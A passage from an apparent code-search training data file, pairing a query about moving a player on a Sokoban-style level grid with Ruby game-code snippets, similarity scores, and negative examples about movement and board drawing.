\"description\"=>\"Gör mål 10 matcher i rad\", \"score\"=>10, \"img\"=>\"Scoreeverymatch.png\"}, 1], [{\"HasIt\"=>nil, \"type\"=>\"fame\", \"name\"=>\"SolidMonth\", \"description\"=>\"Minst 3 spelkvällar på en månad\", \"score\"=>10, \"img\"=>\"solidmonth.png\"}, 1], [{\"HasIt\"=>nil, \"type\"=>\"fame\", \"name\"=>\"TrueWinner\", \"description\"=>\"Vinn mot minst 6 spelare i Systemet med minst 5 mål\", \"score\"=>10, \"img\"=>\"truewinner.png\"}, 1], [{\"HasIt\"=>nil, \"type\"=>\"fame\", \"name\"=>\"WinStreak\", \"description\"=>\"Vinn 5 matcher i rad\", \"score\"=>10, \"img\"=>\"winstreak.png\"}, 1], [{\"HasIt\"=>nil, \"type\"=>\"fame\", \"name\"=>\"WinnerNight\", \"description\"=>\"Vinn minst 15 matcher på en kväll\", \"score\"=>10, \"img\"=>\"winnernight.png\"}, 1]]\n \n @player.achievements.each do |achievement|\n @achievement_hash = achievement.type.singularize.classify.constantize.hash_me\n @player_achievement_hash_array.delete_if { |h| h[0][\"name\"] == @achievement_hash[\"name\"]}\n @player_achievement_hash_array.push([@achievement_hash, 0])\n end\n \n @achievements = @player_achievement_hash_array.sort_by { |k| k[1] }\n \n @all_time_player = []\n @last_time_player = []\n @last_season_player = []\n if @player.statistic_all_times.any?\n @all_time_player.push({\"player\" => @player, \"player_stats\" => @player.statistic_all_times.last, \"player_balance\" => @player.statistic_all_times.last.balance})\n end\n if @player.statistic_last_times.any?\n @last_time_player.push({\"player\" => @player, \"player_stats\" => @player.statistic_last_times.last, \"player_balance\" => @player.statistic_last_times.last.balance})\n end\n if @player.statistic_last_seasons.any?\n @last_season_player.push({\"player\" => @player, \"player_stats\" => @player.statistic_last_seasons.last, \"player_balance\" => @player.statistic_last_seasons.last.balance})\n end\n\n \n \n end",
"def init_load\n init_dict()\n @grid = Array.new(self.size) { Array.new(self.size, nil) }\n insert_word(self.firstWord, self.fwX, self.fwY)\n\n if (self.playedWords == nil)\n return\n end\n\n for pw in self.playedWords\n @grid[pw.x][pw.y] = pw.letter\n end\n end",
"def displayPlayer()\n puts \"*** Player Info ***\"\n puts \"Name: #{@name}\"\n puts\n end",
"def update\n raise NoMapFound, \"your have to load a gps track first\" unless funkygps.map\n #show it on the PaPiRus display\n @display.show(data:to_bit_stream, command: 'F')\n end",
"def initialize\n @screen = Game_Screen.new\n @interpreter = Game_Interpreter.new(0, true)\n @map_id = 0\n @display_x = 0\n @display_y = 0\n create_vehicles\n end",
"def display_board(gamedata)\n puts(\" #{gamedata[0]} | #{gamedata[1]} | #{gamedata[2]} \")\n puts(\"-----------\")\n puts(\" #{gamedata[3]} | #{gamedata[4]} | #{gamedata[5]} \")\n puts(\"-----------\")\n puts(\" #{gamedata[6]} | #{gamedata[7]} | #{gamedata[8]} \")\nend",
"def show\n @textures = @stage.textures[0]\n unless @stage.textures.empty?\n p(@stage.textures)\n p(\"debug texture url:\")\n p(@textures.data.url)\n end\n p(\"debug scene_data:\")\n p(@stage)\n end",
"def show\n @pokemon_info = JSON.parse(Pokegem.get('pokemon', @pokemon.dex_number))\n @sprite_number = @pokemon_info['sprites'][0]['resource_uri'].split('/')[-1]\n @sprite_url = 'http://pokeapi.co/' + JSON.parse(Pokegem.get('sprite', @sprite_number))['image']\n end",
"def showHands\n @players.times do |p|\n i=p + 1\n print \"\\nPlayer #{i}:\"\n # DJBHERE DJB HERE str = \"file_\" + i.to_s.rjust(n, \"0\")\n @playersCards[i].each do |c|\n print \" #{c.visible}\"\n end\n end\n end",
"def place(coord_array) \n #sets spots array to the coordinates occupied by the ship\n @spots = coord_array.dup \n end",
"def draw\r\n\r\n # Attach the camera location to the player\r\n @player.draw(@camera_x, @camera_y,1)\r\n\r\n # Cycle thru each map level...\r\n for l in 0...@level.size\r\n\r\n # ... and cycle thru each y coord ...\r\n for y in 0...@level[l].size\r\n \r\n # ... and cycle thru each x coord\r\n for x in 0...@level[l][y].size\r\n\r\n # Check if this is the first level\r\n if l == 1 then\r\n\r\n # If this is a hidden tile location...\r\n if @hidden_tiles.include?([x,y]) then\r\n @tileset[@level[l][y][x]].draw((x*16)-@camera_x,\r\n (y*16)-@camera_y,\r\n l+1,\r\n 1,\r\n 1,\r\n Gosu::Color.new(160,255,255,255))\r\n\r\n # Otherwise just a normal location\r\n else\r\n @tileset[@level[l][y][x]].draw((x*16)-@camera_x,\r\n (y*16)-@camera_y,\r\n l+1)\r\n end\r\n\r\n # Otherwise just default to the start location\r\n else\r\n @tileset[@level[l][y][x]].draw((x*16)-@camera_x,\r\n (y*16)-@camera_y,\r\n l+1)\r\n end\r\n end\r\n end\r\n end\r\n\r\n # For the given camera location, draw all entites present in that\r\n # location\r\n @entities.each{|en| en.draw(@camera_x, @camera_y)}\r\n\r\n # Draw the score counter onto the game window\r\n $text.draw_text(\"< #{@score} >\", 16, 16, 10)\r\n end",
"def play\n greeting\n get_tiles\n move_sequence\n end",
"def select_position\n @players = @game.players\n end",
"def show\n @games = @player.games.sort_by(&:id)\n if @games.count != 0\n @games_data = []\n @games.each_with_index do |g, i|\n @games_data << if g.player1id == @player.id\n [i+1, g.player1aelo]\n else\n [i+1, g.player2aelo]\n end\n end\n @events_data = []\n Event.all.sort_by(&:id).each do |e|\n @events_data << [e.name, eval(e.elos)[@player.id]]\n end\n @min = @games_data.map(&:last).min - 20\n @max = @games_data.map(&:last).max + 20\n end\n end",
"def board_visualization\n\n tracks = player_positions.collect { |player, position| player_on_track(position, player).join(\" |\") }\n puts tracks.join(\"\\n\")\n\n end",
"def show_big_map\n return unless in_worldmap\n Sound.play_decision\n SceneManager.call(Scene_Worldmap)\n end",
"def display(arr=[])\n arr.each do |quad|\n @device.reset\n sleep 0.25\n light_up(quad)\n delay\n end\n @device.reset\n end",
"def board_visualization\n @players.each do |player|\n before = 0\n after = @length\n puts \" | \"*(before += @position[player]) + \"#{player}\" + \" | \"*(after -= @position[player])\n end\n nil\n end",
"def draw\n # Mostrar fondo\n @background_image.draw(0, 0, ZOrder::BACKGROUND)\n # Mostrar jugador\n @player.draw\n # Mostrar estrellas\n @agent_array.each { |agent| agent.draw }\n # Mostrar score\n #@font.draw(\"Score: #{@score}\", 10, 10, ZOrder::UI, 1.0, 1.0, Gosu::Color::YELLOW)\n end",
"def render_player x, y \n \tboxsize = 16\n \tgrid_x = (1280 - (@grid_w * boxsize)) / 2\n \tgrid_y = (720 - ((@grid_h - 2) * boxsize)) / 2\n\t\t@args.outputs.sprites << [ grid_x + (x * boxsize), (grid_y) + (y * boxsize), boxsize, boxsize, \"sprites/debug.png\"]\n\tend",
"def show_board\n # Show empty board at initialization and get variable at each player turn\n puts \" 1 2 3\"\n puts \" a #{@A1.content} | #{@A2.content} | #{@A3.content}\"\n puts \" ---------\"\n puts \" b #{@B1.content} | #{@B2.content} | #{@B3.content}\"\n puts \" ---------\"\n puts \" c #{@C1.content} | #{@C2.content} | #{@C3.content}\"\n\n end",
"def go_in\n case @game.view\n when :world_map\n @game.switch_view\n# @current_memory = @game.world_map.current_seed\n end\n end",
"def show\n # @location_array = Accuweather.city_search(name: 'vancouver')\n # @vancouver = location_array.first\n end",
"def initialize\n \n @waypoint = Array.new\n \n end",
"def ask_name\n\n puts \"Bienvenue sur TIC-TAC-TOE\"\n puts \"Veuillez écrire vos noms :\"\n\n puts \"Joueur 1 :\"\n print \">\"\n\n @player_one = Player.new(\"Emeran\")\n\n puts \"Joueur 2 : \"\n\n @player_two = Player.new(\"Martin\")\n @player_array = [@player_one, @player_two]\n end",
"def ramdon_location\n seleccion = @plataformas[rand(@plataformas.length)]\n ubicacion_x = seleccion.x\n ubicacion_y = seleccion.y - 45\n [ubicacion_x, ubicacion_y]\n end",
"def place_player(loc)\n puts \"Map thinks player was at #{@player_location}\" if Settings.debug_mode()\n place_object(1, @player_location)\n place_object(4, loc)\n @player_location = loc\n puts \"Map thinks player is now at #{@player_location}\" if Settings.debug_mode()\n end",
"def objects_at_location\n map.objects_at_player_location\n end",
"def init_local_game(game_type)\r\n game_info = @supported_game_map[game_type]\r\n @lbl_table_title.text += game_info[:name]\r\n @num_of_players = game_info[:num_of_players]\r\n end",
"def newgame\n puts \"\\n=========================================================\"\n \n @players = Array.new\n @frame_scores = Array.new\n @game_scores = Array.new\n \n @player = 1\n @frame_no = 1\n @roll_type = 1\n @pins_remaining = 10\nend",
"def display_board\n puts \" #{@letter[0]} | #{@letter[1]} | #{@letter[2]} \"\n puts \" -------------\"\n puts \" #{@number[0]}| #{@board_array[0]} | #{@board_array[1]} | #{@board_array[2]} |\"\n puts \" |-----------|\"\n puts \" #{@number[1]}| #{@board_array[3]} | #{@board_array[4]} | #{@board_array[5]} |\"\n puts \" |-----------|\"\n puts \" #{@number[2]}| #{@board_array[6]} | #{@board_array[7]} | #{@board_array[8]} |\"\n puts \" ------------\"\n end",
"def display_board\n\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \" ----------- \"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \" ----------- \"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n\n end",
"def show\n @mapData = getData()\n @walls = @mapData[\"children\"]\n end",
"def init\n\t\t## Pathfind\n\t\t#@pathfind = Pathfind.new\n\n\t\t## Add player\n\t\t@player = Player.new #spawn: @room.get_spawn\n\n\t\t## Song controller\n\t\t@song = SongController.new\n\n\t\t## Only load one level\n\t\t@level = load_level @level_name\n\n\t\t#@room = @levels[@level_name].rooms.first unless (@levels[:first].nil?)\n\t\t@room = @level.get_room @room_name\n\t\t@player.move_to_spawn @room.get_spawn\n\n\t\tputs \"Level: #{@level.name}\"\n\t\tputs \" Room: #{@room.name}\"\n\t\tputs \"INSTANCE_COUNT:\\n\\tsolid:\\t\\t#{@room.instances[:solid].size}\"\n\t\tputs \"\\tpassable:\\t#{@room.instances[:passable].size}\"\n\n\t\t## Init Pathfinder\n\t\t#@pathfind.pathfind_init\n\t\t## Add Solid blocks to pathfind grid (bootstrap it)\n\t\t#@pathfind.add_solids @room.get_instances(:solid)\n\n\t\ttracker0 = Tracker.new pos: @player.pos, track: @player\n\t\ttracker1 = Tracker.new pos: @player.pos, track: tracker0\n\t\ttracker2 = Tracker.new pos: @player.pos, track: tracker1\n\t\ttracker3 = Tracker.new pos: @player.pos, track: tracker2\n\t\ttracker4 = Tracker.new pos: @player.pos, track: tracker3\n\t\ttracker5 = Tracker.new pos: @player.pos, track: tracker4\n\n\t\t@entities = [\n\t\t\t@player,\n\t\t\tEnemy.new,\n\t\t\ttracker0, tracker1, tracker2, tracker3, tracker3, tracker4, tracker5\n\t\t]\n\n\t\t## Move camera to player\n\t\t$camera.center_on x: @player.pos(:x), y: @player.pos(:y)\n\n\t\t## Font for FPS display\n\t\t@font_fps = Gosu::Font.new 32\n\n\t\t## For consequtive updating of entities, instead of all at once\n\t\t#@update_entity_index = 0\n\tend",
"def show\n @board_grid = @board.board_grid\n @winner = has_player_won(1, @board_grid)\n @loser = has_player_won(2, @board_grid)\n end",
"def draw\n #Updates the map if necessary.\n update\n #If the level is completed, draws a black screen with text on it. Also returns to prevent uncessary updates.\n if @victory and !@win\n @victoryScreen.draw(0, 0, 0)\n return\n #Same but for if the player wins the game.\n elsif @victory and @win\n @winScreen.draw(0, 0, 0)\n return\n end\n #Draws background image. Note that it is drawn using the modulus operator. This is to ensure that the background \"scrolls\"\n #through the screen, and does not only go through once. Further, the position is negative, and is offset by 600. This is to\n #make the background move backwards while the player appears to move forwards. The division by 4 creates parallax\n #scrolling, as the background moves at a slower pace than the camera does.\n @background_image.draw(-((camera.camX + 400) / 4 % 1600) + 600, 0, 0)\n #Draws each DYNAMIC object in the map.\n @DobjectArray.each do |object|\n object.draw\n end\n #Draws each PROJECTILE object in the map.\n @PobjectArray.each do |object|\n object.draw\n end\n #Draws each Static object in the map.\n @SobjectArray.each do |object|\n object.draw\n end\n #Draws each EFFECT object in the map.\n @EobjectArray.each do |object|\n object.draw\n end\n #Draws healthbar last.\n @healthBar.draw\n #If the game is fading in/out, a mask draws on the screen to emulate washing in/out.\n if @fadingIn\n @mask.draw(0, 0, 0, 1, 1, getAlphaIn)\n elsif @fadingOut\n @mask.draw(0, 0, 0, 1, 1, getAlphaOut)\n end\n end",
"def draw_person_map(locations_for_same_time)\n if locations_for_same_time.empty?\n return\n end\n\n # Create a 2D array and then draw from that array\n array = Array.new(SIZE_OF_WORLD) {Array.new(SIZE_OF_WORLD, \" \")}\n locations_for_same_time.each do |location|\n array[location.x][location.y] = location.person\n end\n\n x = 0\n y = 0\n puts \"#{cyan(' 0123456789')} #{blue('t = ')}#{locations_for_same_time[0].time}\"\n (0..9).each do |y|\n puts \"#{cyan(y.to_s)}#{array[0][y]}#{array[1][y]}#{array[2][y]}#{array[3][y]}#{array[4][y]}#{array[5][y]}#{array[6][y]}#{array[7][y]}#{array[8][y]}#{array[9][y]}\"\n end\n puts \" \"\nend",
"def load_level(file_name)\n @enemies = []\n @candies = []\n @tiles = []\n\n # a grid representing the tiles of the level\n # . = empty background\n # - = platform\n line_no = 0\n File.readlines(file_name).each do |line|\n if line_no == 0\n x, y = line.split(/\\s/)\n @start_x = x.to_i\n @start_y = y.to_i\n elsif line_no == 1\n x, y = line.split(/\\s/)\n @door = Door.new(@window, x.to_i, y.to_i)\n elsif line_no == 2\n # load the tiles (platforms, background, empty space)\n @tiles = line.split(/\\s/)\n\n @tile_types = {\n \".\" => :background,\n \",\" => :background2,\n \"-\" => :platform,\n \"x\" => :none,\n }\n\n # change from small single-character representations of tiles\n # to full name representations\n @tiles.collect! { |t| @tile_types[t] }\n elsif line_no > 1\n # load the enemies and candies\n x, y, type = line.split(/\\s/)\n class_type = Object.const_get(type)\n class_name_plural = class_type.superclass.to_s.downcase\n class_name_plural[-1] = \"ies\"\n # grab the correct array\n array = instance_eval(\"@\" + class_name_plural)\n # place a new object of type 'type' with the given parameters\n array.push(class_type.new(@window, x.to_i, y.to_i))\n end\n line_no += 1\n end\n @platforms = []\n @ledges = []\n\n # add all the platform rectangles to check for collision\n 0.upto(WIDTH - 1) do |x|\n 0.upto(HEIGHT - 1) do |y|\n if @tiles[x + y * WIDTH] == :platform && (y == 0 || @tiles[x + (y - 1) * WIDTH] != :platform)\n @ledges.push(Rectangle.new(x * TILE_WIDTH, y * TILE_HEIGHT - Y_OFFSET, TILE_WIDTH, TILE_HEIGHT + Y_OFFSET))\n end\n @platforms.push(Rectangle.new(x * TILE_WIDTH, y * TILE_HEIGHT - Y_OFFSET, TILE_WIDTH, TILE_HEIGHT + Y_OFFSET)) if @tiles[x + y * WIDTH] == :platform\n end\n end\n end",
"def newgame\n # unless @stats_mode == true\n # puts \"\\n=========================================================\"\n # end\n \n @players = Array.new\n @frame_scores = Array.new\n @game_scores = Array.new\n \n @player = 1\n @frame_no = 1\n @roll_type = 1\n @pins_remaining = 10\nend",
"def enter_maze\n\t\t@player.location = @maze.rooms.sample.reference\n\t\tputs \"You go west.\"\n\tend",
"def show_stuff\n\t\t@show = Array.new\n\t\tf = File.open('public/uploads/sample.txt', 'r')\n\t\tf.each_line do |line|\n\t\t\t@show << line\n\t\tend\n\tend",
"def play\n if Rails.env.production?\n @dungeon.draw_current_room( \"public/rooms/current_room_#{@dungeon_instance.id}.jpg\" )\n else\n @dungeon.draw_current_room( 'app/assets/images/current_room.jpg' )\n end\n\n @directions = @dungeon.available_directions\n @dungeon_content = @dungeon.current_room.content_description\n end",
"def play_game\r\n \r\n Console_Screen.cls #Clear the display area\r\n \r\n #Call on the method responsible for collecting the player's move\r\n playerMove = get_player_move\r\n \r\n #Call on the method responsible for generating the computer's move\r\n computerMove = get_computer_move\r\n \r\n #Call on the method responsible for determining the results of the game\r\n result = analyze_results(playerMove, computerMove)\r\n \r\n #Call on the \r\n gameCount = game_count\r\n\r\n #Call on the method responsible for displaying the results of the game\r\n display_results(playerMove, computerMove, result)\r\n \r\n end"
] | [
"0.61115295",
"0.5863617",
"0.5837475",
"0.5783402",
"0.5727274",
"0.5726727",
"0.56939787",
"0.5595543",
"0.5557517",
"0.5538023",
"0.5534474",
"0.55241454",
"0.55075073",
"0.5492773",
"0.54711163",
"0.5465546",
"0.5463382",
"0.5454535",
"0.54279196",
"0.54195744",
"0.53926116",
"0.53696764",
"0.5368016",
"0.5345769",
"0.5332971",
"0.5329936",
"0.53263867",
"0.530443",
"0.530151",
"0.529728",
"0.5283221",
"0.5282706",
"0.52786905",
"0.52676815",
"0.5228379",
"0.5225651",
"0.5225151",
"0.5216304",
"0.52069175",
"0.5197698",
"0.5197542",
"0.519296",
"0.5186561",
"0.51788324",
"0.5175005",
"0.5169521",
"0.5165832",
"0.51655656",
"0.51621914",
"0.5157671",
"0.5156828",
"0.51381594",
"0.5134979",
"0.5127626",
"0.5124366",
"0.5116113",
"0.5115478",
"0.50970244",
"0.5092245",
"0.50843346",
"0.5079196",
"0.50768286",
"0.50744843",
"0.50732684",
"0.5063672",
"0.5062691",
"0.50593317",
"0.50592387",
"0.50586176",
"0.5044051",
"0.5043925",
"0.5037268",
"0.5034983",
"0.502864",
"0.50263727",
"0.5023539",
"0.5022779",
"0.50214857",
"0.5016927",
"0.50089145",
"0.5001363",
"0.50006247",
"0.49951765",
"0.49942225",
"0.4987441",
"0.49859175",
"0.49796402",
"0.49732605",
"0.49727154",
"0.49657562",
"0.49621624",
"0.49603766",
"0.49593163",
"0.49562934",
"0.49536097",
"0.49508",
"0.4949211",
"0.4948179",
"0.4944014",
"0.4940717"
] | 0.5679203 | 7 |
this method will move the man from the current (old) coordinates to the next coordinates (new) | def moveMan(oldX,oldY,newX,newY)
@levelArr[newY][newX]='@'
@levelArr[oldY][oldX]=' '
#replace the box goals if they were overwritten by the above lines of code
replenishBoxGoals
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def move\n move_by a, m\n end",
"def move\n case @direction\n when \"N\"\n @y_coord += 1\n when \"S\"\n @y_coord -= 1\n when \"W\"\n @x_coord += 1\n when \"E\"\n @x_coord -= 1\n end\n end",
"def update_move\n update_last_coordinate\n @point.update_move\n update_placement\n move_animation(diff_x, diff_y)\n end",
"def move(direction)\n @old = @pos\n @pos += direction\n end",
"def move\n @leading_x = coordinate_array[0]\n @leading_y = coordinate_array[1]\n end",
"def move\n x_mov, y_mov = MOVEMENT_VECTORS[@direction]\n\n #add vector to current position\n @x_pos += x_mov\n @y_pos += y_mov\n\n throw \"fell off plateau, position: [#{@x_pos}, #{@y_pos}]\" if @x_pos < 0 || @y_pos < 0\n throw \"fell off plateau, position: [#{@x_pos}, #{@y_pos}]\" if @x_pos > @mars_plateau.max_x || @y_pos > @mars_plateau.max_y\n\n [@x_pos, @y_pos]\n end",
"def move\n return unless placed?\n # no need to use a loop since the length is only 2\n new_x = @pos_x + @direction[:x]\n new_y = @pos_y + @direction[:y]\n\n return unless valid_position?(new_x, new_y)\n set_position(new_x, new_y)\n end",
"def move\n case @current_rotation\n when ToyEnums::NORTH\n @position_y +=1\n when ToyEnums::SOUTH\n @position_y -=1\n when ToyEnums::EAST\n @position_x +=1\n when ToyEnums::WEST\n @position_x -=1\n else\n\n end\n end",
"def move\n\t\tif @direction == \"N\"\n\t\t\t@y += 1\n\t\telsif @direction == \"W\"\n\t\t\t@x -= 1\n\t\telsif @direction == \"E\"\n\t\t\t@x += 1\n\t\telsif @direction == \"S\"\n\t\t\t@y -= 1\n\t\tend\n\tend",
"def move(direction)\n \n end",
"def move\n check_placed\n new_position = case facing\n when :north then @position.inc_y\n when :south then @position.dec_y\n when :east then @position.inc_x\n when :west then @position.dec_y\n end\n check_position(new_position)\n @position = new_position\n end",
"def move()\n case @mov_dir\n when :right\n if @coord_x == @max_x\n @max_x += 1 # Moving out of bounds. No need to do anything because Ruby rocks! :P\n end\n @coord_x += 1\n \n when :up\n if @coord_y == 0\n @map.unshift [] # Moving out of bounds. Adds a new line to the top\n @max_y += 1\n else\n @coord_y -= 1\n end\n \n when :down\n if @coord_y == @max_y\n @max_y += 1\n @map.push [] # Moving out of bounds. Adds a new line to the bottom\n end\n @coord_y += 1\n \n when :left\n if @coord_x == 0\n @map.each do |a| # Moving out of bounds. Adds a new line to the left\n a.unshift ' ' \n end\n @max_x += 1\n else\n @coord_x -= 1\n end\n end\n end",
"def update_move\n self.x = screen_x\n self.y = screen_y\n update_move_arch if @type == Arched\n end",
"def move\n case @rover_facing\n when 'N'\n @coordinates[1] += 1\n when 'E'\n @coordinates[0] += 1\n when 'S'\n @coordinates[1] -= 1\n when 'W'\n @coordinates[0] -= 1\n end\n end",
"def MOVE\n x,y = Karel.coordinates_after_move_from(karel_instance.direction,*world_instance.karel)\n world_instance.karel=[x,y]\n debug_command('MOVE')\n end",
"def move\n case @direction\n when \"N\" then @y += 1 unless @y + 1 > @plateau.y || @@rover_locations.values.include?([@x, @y + 1])\n when \"E\" then @x += 1 unless @x + 1 > @plateau.x || @@rover_locations.values.include?([@x + 1, @y])\n when \"S\" then @y -= 1 unless @y - 1 < 0 || @@rover_locations.values.include?([@x, @y -1])\n when \"W\" then @x -= 1 unless @x - 1 < 0 || @@rover_locations.values.include?([@x -1, @x])\n end\n @@rover_locations[@id.to_sym] = [@x, @y]\n end",
"def move\n @coord_x1 = @coord_x1 + @move_x\n @coord_x2 = @coord_x1 + @radius\n @coord_y1 = @coord_y1 + @slope * @move_x * Math.tan(@ankle)\n @coord_y2 = @coord_y1 + @radius\n @coord_ym = @coord_y1 + @radius/2\n\n #draw()\n end",
"def move\n\t\tunless @y >= 0 then\n\t\t\t@y += 1\n\t\tend\n\t\tif @x_total <= 150 and @y_total <= 150 then\n\t\t\t@x += 1\n\t\t\t@y += 1\n\t\t\t@x_total +=1\n\t\t\t@y_total += 1\n\t\tend\n\t\tif @x_total > 150 and @y_total > 150 and @x_total < 300 and @y_total < 300 then\n\t\t\t@y -= 1\n\t\t\t@x_total += 1\n\t\t\t@y_total += 1\n\t\tend\n\t\tif @x_total > 298 and @y_total > 298 and @x_total < 450 and @y_total < 450 then\n\t\t\t@y +=1\n\t\t\t@x -= 1\n\t\t\t@x_total += 1\n\t\t\t@y_total += 1\n\t\tend\n\t\tif @x_total > 448 and @y_total > 448 and @x_total < 600 and @y_total < 600 then\n\t\t\t@y -= 1\n\t\t\t@x_total += 1\n\t\t\t@y_total += 1\n\t\tend\n\t\tif @x_total == 599 and @y_total == 599 then\n\t\t\t@x_total = @y_total = 0\n\t\tend\n\tend",
"def move\n\n end",
"def move\n case @direction\n when \"n\"\n @y_axis += 1\n when \"e\"\n @x_axis += 1\n when \"s\"\n @y_axis -= 1\n when \"w\"\n @x_axis -= 1\n end\n end",
"def move(m)\n @path_log.push(@coordinate.clone)\n @coordinate = Navigation.execute_move(m,@coordinate)\n end",
"def do_move()\n\n loop do\n # prompt or retreive for initial position\n if @first_move\n initialPos = prompt_for_postion(\"[#{@name}] Initial position: \")\n else\n initialPos = @last_location\n end\n\n # prompt for new position\n newPos = prompt_for_postion(\"[#{@name}] New position: \")\n\n # complete action using positions\n action = @current_board.action(newPos, initialPos, @colour)\n\n # respond to action result\n case (action)\n when :E, :P\n @first_move = true\n @last_location = [0,0]\n return action\n when :A, :W\n @last_location = newPos\n @first_move = false\n return action\n end\n end\n end",
"def move\n\t\treturn \"INVALID COMMANDS, YOU CAN NOT MAKE THE ROBOT FALL OFF THE TABLE\" unless is_valid_move?\n\t\tcase @direction\n\t\twhen \"east\"\n\t\t\t@x_coordinate += 1\n\t\twhen \"west\"\n\t\t\t@x_coordinate -= 1\n\t\twhen \"south\"\n\t\t\t@y_coordinate -= 1\n\t\twhen \"north\"\n\t\t\t@y_coordinate += 1\n\t\telse\n\t\tend\n\t\ttrue\n\tend",
"def move\n \n end",
"def move\n \n end",
"def move(x,y=@y)\r\n @x2=x+(@x2-@x1)\r\n @y2=y+(@y2-@y1)\r\n @y1=y\r\n @x1=x\r\n end",
"def move\n @positions.shift\n case @direction\n when 'down'\n @positions.push(new_coords(head[0], head[1] + 1))\n when 'up'\n @positions.push(new_coords(head[0], head[1] - 1))\n when 'left'\n @positions.push(new_coords(head[0] - 1, head[1]))\n when 'right'\n @positions.push(new_coords(head[0] + 1, head[1]))\n end\n end",
"def move\n case @direction\n when \"N\"\n @coord_y += 1\n when \"S\"\n @coord_y -= 1\n when \"E\"\n @coord_x += 1\n else\n @coord_x -= 1\n end #end of case\nend",
"def update_position!(next_move)\n table.x = next_move[:x]\n table.y = next_move[:y]\n end",
"def turn\n @delta.x = -@delta.x\n @delta.y = -@delta.y\n end",
"def move\n move_by get_incremental_position_for_velocity if (any_velocity?)\n decrease_velocity\n @has_increased_velocity_for = {\n x: false,\n y: false\n }\n @velocity_deltatime.update\n end",
"def move_to(x, y); end",
"def move(delta)\n new_x = self.location.x + (self.vel.x * delta)\n new_y = self.location.y + (self.vel.y * delta)\n new_point = Point.new(new_x, new_y)\n self.with_location(new_point)\n end",
"def move; end",
"def move; end",
"def move\n @position.shift unless @growing\n case @direction\n when 'down'\n @position.push(new_coords(head[0], head[1] + 1))\n when 'up'\n @position.push(new_coords(head[0], head[1] - 1))\n when 'left'\n @position.push(new_coords(head[0] - 1, head[1]))\n when 'right'\n @position.push(new_coords(head[0] + 1, head[1]))\n end\n @growing = @turned = false\n end",
"def move\n check_placement\n\n new_position = make_move(current_position, direction)\n position(new_position[0], new_position[1], @table.size)\n end",
"def moveTo x, y\n\n\tend",
"def kick_wall(wall)\n wall.moveTo(@new_x, @new_y)\n #or wall.moveTo(:direction)\n end",
"def move\n if @direction.north? then @y += 1\n elsif @direction.south? then @y -= 1\n elsif @direction.east? then @x += 1\n elsif @direction.west? then @x -= 1\n end\n return self\n end",
"def move\n\t\tcase @car.orientation\n\t\t\twhen 0 \n\t\t\t\t@car.y += 1\n\t\t\twhen 2\n\t\t\t\t@car.y -= 1\n\t\t\twhen 1\n\t\t\t\t@car.x += 1\n\t\t\twhen 3\n\t\t\t\t@car.x -= 1\n\t\tend\n\tend",
"def move(*_)\n dir = direction_compass.to_direction(direction)\n new_value = direction_compass.direction[dir.to_sym]\n\n place(x + new_value[:x], y + new_value[:y])\n end",
"def move_by a, m\n rad = a * D2R\n self.x += Math.cos(rad) * m\n self.y += Math.sin(rad) * m\n end",
"def move_forward\n case @orientation\n when :north\n @position.y_coordinate += 1\n when :east\n @position.x_coordinate += 1\n when :south\n @position.y_coordinate -= 1\n when :west\n @position.x_coordinate -= 1\n end\n end",
"def move\n\t\t# move 5px to the left\n\t @x = @x - 5\n\t # move up or down based on the Y velocity\n\t @y = @y + @vy\n\tend",
"def move_me\n new_loc = nil\n ploc = @partner[:loc]\n dir = @partner[:dir]\n dist = @partner[:dist]\n if dist == 30\n new_dist = 16\n else\n new_dist = dist / 2\n end\n log \"Moving me. Partner data: #{@partner}\"\n new_loc = [ploc[0] - dir[0] * new_dist, ploc[1] - dir[1] * new_dist]\n log \"Move me to #{new_loc}\"\n \n goto new_loc\n return new_loc\n end",
"def move!\n\t\tbounce! until !will_bounce? #TODO add surroundedness checking\n\t\t@x += @@target_coords[@direction][:dx]\n\t\t@y += @@target_coords[@direction][:dy]\n\tend",
"def move(y, x)\n update(y, x)\n apply_pos\n end",
"def move\n # Check that we have been placed\n if self.placed?\n # Create a new version to hold our new position for validation later\n new_position = @current_position.dup\n \n # Get our direction constant to establish whether we want to operate on the X or Y co-ordinate and whether to subtract or add based on direction\n direction_constant = self.get_direction_constant\n\n # Calculate our new position operating on the correct coordinate with the correct operation using the constants we have on the class\n new_position[direction_constant[:coordinate]] = new_position[direction_constant[:coordinate]] + direction_constant[:operation_value] \n # Check if the new position is valid move to this position\n if @table.valid_destination new_position[:x], new_position[:y]\n # Set our new valid position\n @current_position = new_position \n puts \"The Toy Robot has moved to (#{@current_position[:x]}, #{@current_position[:y]}) facing #{@current_position[:direction]}...\"\n else\n puts \"The Toy Robot cannot move any further, position unchanged, skipping command...\"\n return false\n end\n else\n puts \"The Toy Robot has not been placed, skipping command...\"\n return false\n end\n end",
"def set_current_position!\n matrix[\n position[:y]\n ][\n position[:x]\n ] = DIRECTION_ARROWS[direction]\n end",
"def move\r\n @x += @x_direction\r\n @y += @y_direction\r\n # Preventing the Alien moving out of the screen\r\n if @x > (SCREEN_WIDTH - GAME_PRESET[\"alien_reach\"]) || @x < 0\r\n @x_direction= -@x_direction\r\n elsif @y > (SCREEN_HEIGHT * @height_limit)\r\n @y_direction = 0\r\n end\r\n end",
"def move(direction)\n @position += direction\n end",
"def move\n\t\t@x += 0\n\t\t@y += @vel\n\tend",
"def move_to(xx, yy)\n @x = xx\n @y = yy\n normalize\n end",
"def move\n if inside_table?(next_move_x_y(next_move))\n update_position!(next_move_x_y(next_move))\n else\n almost_die\n end\n end",
"def moving!\n end",
"def position_for_next_harvest()\n turn_right()\n move()\n turn_right()\n end",
"def move\n @position += MOVMENT_ALTERATIONS[rand(0..1)]\n end",
"def move\n position_after_move = @position.new_coordinates_for_step_size(@direction.step_size_for_x_axis, @direction.step_size_for_y_axis)\n\n #ignore the command if robot is being out off tabletop\n if(@table_top.has_within_bounds?(position_after_move))\n @position = @position.new_coordinates_for(@direction.step_size_for_x_axis, @direction.step_size_for_y_axis)\n\n end\n end",
